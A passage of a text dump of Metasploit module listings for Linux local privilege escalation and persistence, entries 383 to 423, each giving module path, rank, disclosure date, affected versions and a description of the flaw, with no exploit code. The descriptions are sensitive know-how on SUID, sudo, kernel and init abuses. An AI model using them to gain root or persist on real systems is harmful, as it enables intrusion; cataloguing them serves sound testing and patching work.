  environment variable. This issue allows an local attacker to use
maliciously crafted GLIBC_TUNABLES when
  launching binaries with SUID permission to execute code in the
context of the root user.

  This module targets glibc packaged on Ubuntu and Debian. The
specific glibc versions this module targets are:

  Ubuntu:
  2.35-0ubuntu3.4 > 2.35
  2.37-0ubuntu2.1 > 2.37
  2.38-1ubuntu6 > 2.38

  Debian:
  2.31-13-deb11u7 > 2.31
  2.36-9-deb12u3 > 2.36

  Fedora 37 and 38 and other distributions of linux also come packaged
with versions of glibc vulnerable to CVE-2023-4911
  however this module does not target them.

End Exploit Number 383

Begin Exploit Number 384
       Name: HP System Management Homepage Local Privilege Escalation
     Module: exploit/linux/local/hp_smhstart
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-03-30

Payload information:
  Space: 227
  Avoid: 2 characters

Description:
  Versions of HP System Management Homepage <= 7.1.2 include a setuid
root
  smhstart which is vulnerable to a local buffer overflow in
SSL_SHARE_BASE_DIR
  env variable.

End Exploit Number 384

Begin Exploit Number 385
       Name: HP Performance Monitoring xglance Priv Esc
     Module: exploit/linux/local/hp_xglance_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-11-19

Payload information:

Description:
  This exploit takes advantage of xglance-bin, part of
  HP's Glance (or Performance Monitoring) version 11 'and subsequent'
  , which was compiled with an insecure RPATH option.  The RPATH
includes
  a relative path to -L/lib64/ which can be controlled by a user.
  Creating libraries in this location will result in an
  escalation of privileges to root.

End Exploit Number 385

Begin Exploit Number 386
       Name: Juju-run Agent Privilege Escalation
     Module: exploit/linux/local/juju_run_agent_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-13

Payload information:

Description:
  This module attempts to gain root privileges on Juju agent systems
  running the juju-run agent utility.

  Juju agent systems running agent tools prior to version 1.25.12,
  2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain
socket
  to manage software ("units") without setting appropriate
permissions,
  allowing unprivileged local users to execute arbitrary commands as
root.

  This module has been tested successfully with Juju agent tools
versions
  1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju
  1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS
x86_64.
```

```
End Exploit Number 386

Begin Exploit Number 387
       Name: Kloxo Local Privilege Escalation
     Module: exploit/linux/local/kloxo_lxsuexec
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-09-18

Payload information:
  Space: 8000

Description:
  Version 6.1.12 and earlier of Kloxo contain two setuid root binaries 
such as
  lxsuexec and lxrestart, allow local privilege escalation to root 
from uid 48,
  Apache by default on CentOS 5.8, the operating system supported by 
Kloxo.
  This module has been tested successfully with Kloxo 6.1.12 and 
6.1.6.

End Exploit Number 387

Begin Exploit Number 388
       Name: ktsuss suid Privilege Escalation
     Module: exploit/linux/local/ktsuss_suid_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-08-13

Payload information:

Description:
  This module attempts to gain root privileges by exploiting
  a vulnerability in ktsuss versions 1.4 and prior.

  The ktsuss executable is setuid root and does not drop
  privileges prior to executing user specified commands,
  resulting in command execution with root privileges.

  This module has been tested successfully on:

  ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and
  ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).

End Exploit Number 388

Begin Exploit Number 389
       Name: lastore-daemon D-Bus Privilege Escalation
     Module: exploit/linux/local/lastore_daemon_dbus_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-02

Payload information:

Description:
  This module attempts to gain root privileges on Deepin Linux systems
  by using lastore-daemon to install a package.

  The lastore-daemon D-Bus configuration on Deepin Linux permits any
  user in the sudo group to install arbitrary system packages without
  providing a password, resulting in code execution as root. By
default,
  the first user created on the system is a member of the sudo group.

  This module has been tested successfully with lastore-daemon
versions
  0.9.53-1 on Deepin Linux 15.5 (x64); and
  0.9.66-1 on Deepin Linux 15.7 (x64).

End Exploit Number 389

Begin Exploit Number 390
       Name: Libuser roothelper Privilege Escalation
     Module: exploit/linux/local/libuser_roothelper_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-07-24

Payload information:

Description:
  This module attempts to gain root privileges on Red Hat based Linux
  systems, including RHEL, Fedora and CentOS, by exploiting a newline
  injection vulnerability in libuser and userhelper versions prior to
  0.56.13-8 and version 0.60 before 0.60-7.
  This module makes use of the roothelper.c exploit from Qualys to
  insert a new user with UID=0 in /etc/passwd.

  Note, the password for the current user is required by userhelper.

  Note, on some systems, such as Fedora 11, the user entry for the
  current user in /etc/passwd will become corrupted and exploitation
  will fail.

  This module has been tested successfully on libuser packaged
versions
  0.56.13-4.el6 on CentOS 6.0 (x86_64);
  0.56.13-5.el6 on CentOS 6.5 (x86_64);
  0.60-5.el7 on CentOS 7.1-1503 (x86_64);
  0.56.16-1.fc13 on Fedora 13 (i686);
  0.59-1.fc19 on Fedora Desktop 19 (x86_64);
  0.60-3.fc20 on Fedora Desktop 20 (x86_64);
  0.60-6.fc21 on Fedora Desktop 21 (x86_64);
  0.60-6.fc22 on Fedora Desktop 22 (x86_64);
  0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
  0.60-5.el7 on Red Hat 7.0 (x86_64).

  RHEL 5 is vulnerable, however the installed version of glibc (2.5)
  is missing various functions required by roothelper.c.

End Exploit Number 390

Begin Exploit Number 391
       Name: Linux Nested User Namespace idmap Limit Local Privilege
Escalation
     Module: exploit/linux/local/nested_namespace_idmap_limit_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-11-15

Payload information:

Description:
  This module exploits a vulnerability in Linux kernels 4.15.0 to
4.18.18,
  and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested
user
  namespaces and kernel uid/gid mappings allow elevation to root
  (CVE-2018-18955).

  The target system must have unprivileged user namespaces enabled and
  the newuidmap and newgidmap helpers installed (from uidmap package).

  This module has been tested successfully on:

  Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64;
  Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64);
  Linux Mint 19 kernel 4.15.0-20-generic (x86_64);
  Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).

End Exploit Number 391

Begin Exploit Number 392
       Name: Netfilter nft_set_elem_init Heap Overflow Privilege
Escalation
     Module: exploit/linux/local/netfilter_nft_set_elem_init_privesc
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2022-02-07

Payload information:

Description:
  An issue was discovered in the Linux kernel through 5.18.9.
  A type confusion bug in nft_set_elem_init (leading to a buffer
overflow)
  could be used by a local attacker to escalate privileges.
  The attacker can obtain root access, but must start with an
unprivileged
  user namespace to obtain CAP_NET_ADMIN access.
  The issue exists in nft_setelem_parse_data in net/netfilter/
nf_tables_api.c.

End Exploit Number 392

Begin Exploit Number 393
       Name: Linux Kernel 4.6.3 Netfilter Privilege Escalation
     Module: exploit/linux/local/netfilter_priv_esc_ipv4
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-06-03

Payload information:

Description:
  This module attempts to exploit a netfilter bug on Linux Kernels
before 4.6.3, and currently
  only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-
generic.

  Several conditions have to be met for successful exploitation:
  Ubuntu:
  1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded
(root running iptables -L will do such)
  2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora)
needs to be installed to compile
  Kernel 4.4.0-31-generic and newer are not vulnerable. This exploit
does not bypass SMEP/SMAP.

  We write the ascii files and compile on target instead of locally
since metasm bombs for not
  having cdefs.h (even if locally installed)

End Exploit Number 393

Begin Exploit Number 394
       Name: Netfilter x_tables Heap OOB Write Privilege Escalation
     Module: exploit/linux/local/
netfilter_xtables_heap_oob_write_priv_esc
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2021-07-07

Payload information:

Description:
  A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was
discovered in net/netfilter/x_tables.c.
  This allows an attacker to gain privileges or cause a DoS (via heap
memory corruption) through user name space.
  Kernels up to 5.11 (including) are vulnerable.
  More information about vulnerable kernels is
  available at https://nvd.nist.gov/vuln/detail/
CVE-2021-22555#vulnConfigurationsArea

End Exploit Number 394

Begin Exploit Number 395
       Name: Network Manager VPNC Username Privilege Escalation
     Module: exploit/linux/local/
network_manager_vpnc_username_priv_esc
   Platform: Linux
```

```
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-07-26

Payload information:

Description:
  This module exploits an injection vulnerability in the Network
Manager
  VPNC plugin to gain root privileges.

  This module uses a new line injection vulnerability in the
configured
  username for a VPN network connection to inject a `Password helper`
  configuration directive into the connection configuration.

  The specified helper is executed by Network Manager as root when the
  connection is started.

  Network Manager VPNC versions prior to 1.2.6 are vulnerable.

  This module has been tested successfully with VPNC versions:
  1.2.4-4 on Debian 9.0.0 (x64); and
  1.1.93-1 on Ubuntu Linux 16.04.4 (x64).

End Exploit Number 395

Begin Exploit Number 396
       Name: Debian/Ubuntu ntfs-3g Local Privilege Escalation
     Module: exploit/linux/local/ntfs3g_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-01-05

Payload information:

Description:
  ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and
possibly 9 does not properly sanitize the environment when executing
modprobe.
  This can be abused to load a kernel module and execute a binary
payload as the root user.

End Exploit Number 396
```

```
Begin Exploit Number 397
       Name: Micro Focus (HPE) Data Protector SUID Privilege
Escalation
     Module: exploit/linux/local/omniresolve_suid_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-09-13

Payload information:

Description:
  This module exploits the trusted `$PATH` environment
  variable of the SUID binary `omniresolve` in
  Micro Focus (HPE) Data Protector A.10.40 and prior.

  The `omniresolve` executable calls the `oracleasm` binary using
  a relative path and the trusted environment `$PATH`, which allows
  an attacker to execute a custom binary with `root` privileges.

  This module has been successfully tested on:
  HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110, built
on Thu Aug 11 14:52:38 2016;
  Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118,
built on Tue May 21 05:49:04 2019 on CentOS Linux release 7.6.1810
(Core)

  The vulnerability has been patched in:
  Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125,
built on Mon Aug 19 19:22:20 2019

End Exploit Number 397

Begin Exploit Number 398
       Name: Overlayfs Privilege Escalation
     Module: exploit/linux/local/overlayfs_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2015-06-16

Payload information:

Description:
  This module attempts to exploit two different CVEs related to
overlayfs.
```

```
  CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) <
3.13.0-55
                                    3.16.0-25 (14.10 default) <
3.16.0-41
                                    3.19.0-18 (15.04 default) <
3.19.0-21
  CVE-2015-8660:
      Ubuntu:
             3.19.0-18 < 3.19.0-43
             4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
      Fedora:
             < 4.2.8 (vulnerable, un-tested)
      Red Hat:
             < 3.10.0-327 (rhel 6, vulnerable, un-tested)

End Exploit Number 398

Begin Exploit Number 399
       Name: Pi-Hole Remove Commands Linux Priv Esc
     Module: exploit/linux/local/pihole_remove_commands_lpe
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2021-04-20

Payload information:
  Avoid: 1 characters

Description:
  Pi-Hole versions 3.0 - 5.3 allows for command line input to the
removecustomcname,
  removecustomdns, and removestaticdhcp functions without properly
validating
  the parameters before passing to sed.  When executed as the www-data
user,
  this allows for a privilege escalation to root since www-data is in
the
  sudoers.d/pihole file with no password.

End Exploit Number 399

Begin Exploit Number 400
       Name: Linux PolicyKit Race Condition Privilege Escalation
     Module: exploit/linux/local/pkexec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Great
  Disclosed: 2011-04-01

Payload information:

Description:
  A race condition flaw was found in the PolicyKit pkexec utility and 
polkitd
  daemon. A local user could use this flaw to appear as a privileged 
user to
  pkexec, allowing them to execute arbitrary commands as root by 
running
  those commands with pkexec.

  Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and 
Ubuntu
  libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
  (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)

End Exploit Number 400

Begin Exploit Number 401
       Name: Polkit D-Bus Authentication Bypass
     Module: exploit/linux/local/polkit_dbus_auth_bypass
   Platform: Unix, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-06-03

Payload information:

Description:
  A vulnerability exists within the polkit system service that can be 
leveraged by a local, unprivileged
  attacker to perform privileged operations. In order to leverage the 
vulnerability, the attacker invokes a
  method over D-Bus and kills the client process. This will 
occasionally cause the operation to complete without
  being subjected to all of the necessary authentication.
  The exploit module leverages this to add a new user with a sudo 
access and a known password. The new account
  is then leveraged to execute a payload with root privileges.

End Exploit Number 401

Begin Exploit Number 402
       Name: Progress Flowmon Local sudo privilege escalation
     Module: exploit/linux/local/progress_flowmon_sudo_privesc_2024
   Platform: Unix, Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-19

Payload information:

Description:
  This module abuses a feature of the sudo command on Progress
Flowmon.
  Certain binary files are allowed to automatically elevate
  with the sudo command.  This is based off of the file name.  This
  includes executing a PHP command with a specific file name. If the
  file is overwritten with PHP code it can be used to elevate
privileges
  to root. Progress Flowmon up to at least version 12.3.5 is
vulnerable.

End Exploit Number 402

Begin Exploit Number 403
       Name: Kemp LoadMaster Local sudo privilege escalation
     Module: exploit/linux/local/
progress_kemp_loadmaster_sudo_privesc_2024
   Platform: Unix, Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-19

Payload information:

Description:
  This module abuses a feature of the sudo command on Progress Kemp
  LoadMaster.  Certain binary files are allowed to automatically
elevate
  with the sudo command.  This is based off of the file name.  Some
files
  have this permission are not write-protected from the default 'bal'
user.
  As such, if the file is overwritten with an arbitrary file, it will
still
  auto-elevate.  This module overwrites the /bin/loadkeys file with
another
  executable.

End Exploit Number 403
```

```
Begin Exploit Number 404
       Name: ptrace Sudo Token Privilege Escalation
     Module: exploit/linux/local/ptrace_sudo_token_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-24

Payload information:

Description:
  This module attempts to gain root privileges by blindly injecting 
into
  the session user's running shell processes and executing commands by
  calling `system()`, in the hope that the process has valid cached 
sudo
  tokens with root privileges.

  The system must have gdb installed and permit ptrace.

  This module has been tested successfully on:

  Debian 9.8 (x64); and
  CentOS 7.4.1708 (x64).

End Exploit Number 404

Begin Exploit Number 405
       Name: Linux Polkit pkexec helper PTRACE_TRACEME local root 
exploit
     Module: exploit/linux/local/ptrace_traceme_pkexec_helper
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-07-04

Payload information:

Description:
  This module exploits an issue in ptrace_link in kernel/ptrace.c 
before Linux
  kernel 5.1.17. This issue can be exploited from a Linux desktop 
terminal, but
  not over an SSH session, as it requires execution from within the 
context of
```

```
  a user with an active Polkit agent.
  In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c
mishandles
  the recording of the credentials of a process that wants to create a
ptrace
  relationship, which allows local users to obtain root access by
leveraging
  certain scenarios with a parent-child process relationship, where a
parent drops
  privileges and calls execve (potentially allowing control by an
attacker). One
  contributing factor is an object lifetime issue (which can also
cause a panic).
  Another contributing factor is incorrect marking of a ptrace
relationship as
  privileged, which is exploitable through (for example) Polkit's
pkexec helper
  with PTRACE_TRACEME.

End Exploit Number 405

Begin Exploit Number 406
       Name: rc.local Persistence
     Module: exploit/linux/local/rc_local_persistence
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1980-10-01

Payload information:
  Avoid: 3 characters

Description:
  This module will edit /etc/rc.local in order to persist a payload.
  The payload will be executed on the next reboot.


End Exploit Number 406

Begin Exploit Number 407
       Name: Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL
pointer dereference Privilege Escalation
     Module: exploit/linux/local/
rds_atomic_free_op_null_pointer_deref_priv_esc
   Platform: Linux
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Good
  Disclosed: 2018-11-01

Payload information:

Description:
  This module attempts to gain root privileges on Linux systems by
abusing
  a NULL pointer dereference in the `rds_atomic_free_op` function in
the
  Reliable Datagram Sockets (RDS) kernel module (rds.ko).

  Successful exploitation requires the RDS kernel module to be loaded.
  If the RDS module is not blacklisted (default); then it will be
loaded
  automatically.

  This exploit supports 64-bit Ubuntu Linux systems, including
distributions
  based on Ubuntu, such as Linux Mint and Zorin OS.

  Target offsets are available for:

  Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and
  Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic.

  This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are
included.
  Failed exploitation may crash the kernel.

  This module has been tested successfully on various 4.4 and 4.8
kernels.

End Exploit Number 407

Begin Exploit Number 408
       Name: Reliable Datagram Sockets (RDS) rds_page_copy_user
Privilege Escalation
     Module: exploit/linux/local/rds_rds_page_copy_user_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-10-20

Payload information:

Description:
  This module exploits a vulnerability in the `rds_page_copy_user`
```

```
function
  in `net/rds/page.c` (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8
  to execute code as root (CVE-2010-3904).

  This module has been tested successfully on:

  Fedora 13 (i686) kernel version 2.6.33.3-85.fc13.i686.PAE; and
  Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic.

End Exploit Number 408

Begin Exploit Number 409
       Name: Linux Kernel recvmmsg Privilege Escalation
     Module: exploit/linux/local/recvmmsg_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-02-02

Payload information:

Description:
  This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
  system call with a crafted timeout pointer parameter to gain root.

  This exploit has offsets for 3 Ubuntu 13 kernels:
  3.8.0-19-generic (13.04 default);
  3.11.0-12-generic (13.10 default);
  3.11.0-15-generic (13.10).

  This exploit may take up to 13 minutes to run due to a decrementing
  (1/sec) pointer which starts at 0xff*3 (765 seconds)

End Exploit Number 409

Begin Exploit Number 410
       Name: Reptile Rootkit reptile_cmd Privilege Escalation
     Module: exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-10-29

Payload information:
```

```
Description:
  This module uses Reptile rootkit's `reptile_cmd` backdoor executable
  to gain root privileges using the `root` command.

  This module has been tested successfully with Reptile from `master`
  branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).

End Exploit Number 410

Begin Exploit Number 411
       Name: runc (docker) File Descriptor Leak Privilege Escalation
     Module: exploit/linux/local/runc_cwd_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-01-31

Payload information:

Description:
  All versions of runc <=1.1.11, as used by containerization
technologies such as Docker engine,
  and Kubernetes are vulnerable to an arbitrary file write.
  Due to a file descriptor leak it is possible to mount the host file
system
  with the permissions of runc (typically root).

  Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1
and runc 1.1.11 using Docker build.
  Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build.

End Exploit Number 411

Begin Exploit Number 412
       Name: Saltstack Minion Payload Deployer
     Module: exploit/linux/local/saltstack_salt_minion_deployer
   Platform: Linux, Unix
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-03-19

Payload information:

Description:
  This exploit module uses saltstack salt to deploy a payload and run
it
```

```
  on all targets which have been selected (default all).
  Currently only works against nix targets.


End Exploit Number 412

Begin Exploit Number 413
       Name: Service Persistence
     Module: exploit/linux/local/service_persistence
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1983-01-01

Payload information:

Description:
  This module will create a service on the box, and mark it for auto-
restart.
  We need enough access to write service files and potentially restart
services
  Targets:
    System V:
      CentOS <= 5
      Debian <= 6
      Kali 2.0
      Ubuntu <= 9.04
    Upstart:
      CentOS 6
      Fedora >= 9, < 15
      Ubuntu >= 9.10, <= 14.10
    systemd:
      CentOS 7
      Debian >= 7, <=8
      Fedora >= 15
      Ubuntu >= 15.04
  Note: System V won't restart the service if it dies, only an init
change (reboot etc) will restart it.

End Exploit Number 413

Begin Exploit Number 414
       Name: Serv-U FTP Server prepareinstallation Privilege
Escalation
     Module: exploit/linux/local/
servu_ftp_server_prepareinstallation_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-06-05

Payload information:

Description:
  This module attempts to gain root privileges on systems running
  Serv-U FTP Server versions prior to 15.1.7.

  The `Serv-U` executable is setuid `root`, and uses `ARGV[0]`
  in a call to `system()`, without validation, when invoked with
  the `-prepareinstallation` flag, resulting in command execution
  with root privileges.

  This module has been tested successfully on Serv-U FTP Server
  version 15.1.6 (x64) on Debian 9.6 (x64).

End Exploit Number 414

Begin Exploit Number 415
       Name: Linux Kernel Sendpage Local Privilege Escalation
     Module: exploit/linux/local/sock_sendpage
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-08-13

Payload information:

Description:
  The Linux kernel failed to properly initialize some entries in the
  proto_ops struct for several protocols, leading to NULL being
  dereferenced and used as a function pointer. By using mmap(2) to map
  page 0, an attacker can execute arbitrary code in the context of the
  kernel.

  Several public exploits exist for this vulnerability, including
  spender's wunderbar_emporium and rcvalle's ppc port,
sock_sendpage.c.

  All Linux 2.4/2.6 versions since May 2001 are believed to be
affected:
  2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including
2.6.30.4

  This module has been tested successfully on CentOS 5.0 (i386) with
  kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
  kernel version 2.4.27-3-386.

End Exploit Number 415

Begin Exploit Number 416
       Name: Sophos Web Protection Appliance clear_keys.pl Local
Privilege Escalation
     Module: exploit/linux/local/sophos_wpa_clear_keys
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-06

Payload information:

Description:
  This module abuses a command injection on the clear_keys.pl perl
script, installed with the
  Sophos Web Protection Appliance, to escalate privileges from the
"spiderman" user to "root".
  This module is useful for post exploitation of vulnerabilities on
the Sophos Web Protection
  Appliance web ui, executed by the "spiderman" user. This module has
been tested successfully
  on Sophos Virtual Web Appliance 3.7.0.

End Exploit Number 416

Begin Exploit Number 417
       Name: Login to Another User with Su on Linux / Unix Systems
     Module: exploit/linux/local/su_login
   Platform: Linux, Unix
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 1971-11-03

Payload information:

Description:
  This module attempts to create a new login session by
  invoking the su command of a valid username and password.

  If the login is successful, a new session is created via
  the specified payload.
  Because su forces passwords to be passed over stdin, this
  module attempts to invoke a psuedo-terminal with python,
  python3, or script.


End Exploit Number 417

Begin Exploit Number 418
       Name: Sudo Heap-Based Buffer Overflow
     Module: exploit/linux/local/sudo_baron_samedit
   Platform: Unix, Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-01-26

Payload information:

Description:
  A heap based buffer overflow exists in the sudo command line utility 
that can be exploited by a local attacker
  to gain elevated privileges. The vulnerability was introduced in 
July of 2011 and affects version 1.8.2
  through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default 
configurations. The technique used by this
  implementation leverages the overflow to overwrite a service_user 
struct in memory to reference an attacker
  controlled library which results in it being loaded with the 
elevated privileges held by sudo.

End Exploit Number 418

Begin Exploit Number 419
       Name: Sudoedit Extra Arguments Priv Esc
     Module: exploit/linux/local/sudoedit_bypass_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-18

Payload information:

Description:
  This exploit takes advantage of a vulnerability in sudoedit, part of 
the sudo package.
  The sudoedit (aka sudo -e) feature mishandles extra arguments passed 
in the user-provided
```

```
  environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a
local attacker to
  append arbitrary entries to the list of files to process. This can
lead to privilege escalation.
  by appending extra entries on /etc/sudoers allowing for execution of
an arbitrary payload with root
  privileges.

  Affected versions are 1.8.0 through 1.9.12.p1. However THIS module
only works against Ubuntu
  22.04 and 22.10.

  This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04,
and
  1.9.11p3-1ubuntu1 on Ubuntu 22.10.

End Exploit Number 419

Begin Exploit Number 420
       Name: SystemTap MODPROBE_OPTIONS Privilege Escalation
     Module: exploit/linux/local/systemtap_modprobe_options_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-11-17

Payload information:

Description:
  This module attempts to gain root privileges by exploiting a
  vulnerability in the `staprun` executable included with SystemTap
  version 1.3.

  The `staprun` executable does not clear environment variables prior
to
  executing `modprobe`, allowing an arbitrary configuration file to be
  specified in the `MODPROBE_OPTIONS` environment variable, resulting
  in arbitrary command execution with root privileges.

  This module has been tested successfully on:

  systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and
  systemtap 1.1-3.el5 on RHEL 5.5 (x64).

End Exploit Number 420

Begin Exploit Number 421
       Name: Apache Tomcat on RedHat Based Systems Insecure Temp
```

```
Config Privilege Escalation
     Module: exploit/linux/local/tomcat_rhel_based_temp_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2016-10-10

Payload information:

Description:
  This module exploits a vulnerability in RedHat based systems where
  improper file permissions are applied to /usr/lib/tmpfiles.d/
tomcat.conf
  for Apache Tomcat versions before 7.0.54-8.  This may also work
against

  The configuration files in tmpfiles.d are used by systemd-tmpfiles
to manage
  temporary files including their creation.

  With this weak permission, we're able to inject commands into
systemd-tmpfiles
  service to write a cron job to execute our payload.

  systemd-tmpfiles is executed by default on boot on RedHat-based
systems
  through systemd-tmpfiles-setup.service. Depending on the system in
use,
  the execution of systemd-tmpfiles could also be triggered by other
  services, cronjobs, startup scripts etc.

  This module was tested against Tomcat 7.0.54-3 on Fedora 21.

End Exploit Number 421

Begin Exploit Number 422
       Name: Apache Tomcat on Ubuntu Log Init Privilege Escalation
     Module: exploit/linux/local/tomcat_ubuntu_log_init_priv_esc
   Platform: Linux
       Arch: x86, x64, python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2016-09-30

Payload information:

Description:
  Tomcat (6, 7, 8) packages provided by default repositories on
Debian-based
  distributions (including Debian, Ubuntu etc.) provide a vulnerable
  tomcat init script that allows local attackers who have already
gained access
  to the tomcat account (for example, by exploiting an RCE
vulnerability
  in a java web application hosted on Tomcat, uploading a webshell
etc.) to
  escalate their privileges from tomcat user to root and fully
compromise the
  target system.

  Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04

End Exploit Number 422

Begin Exploit Number 423
       Name: Ubuntu Enlightenment Mount Priv Esc
     Module: exploit/linux/local/ubuntu_enlightenment_mount_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2022-09-13

Payload information:

Description:
  This module exploits a command injection within Enlightenment's
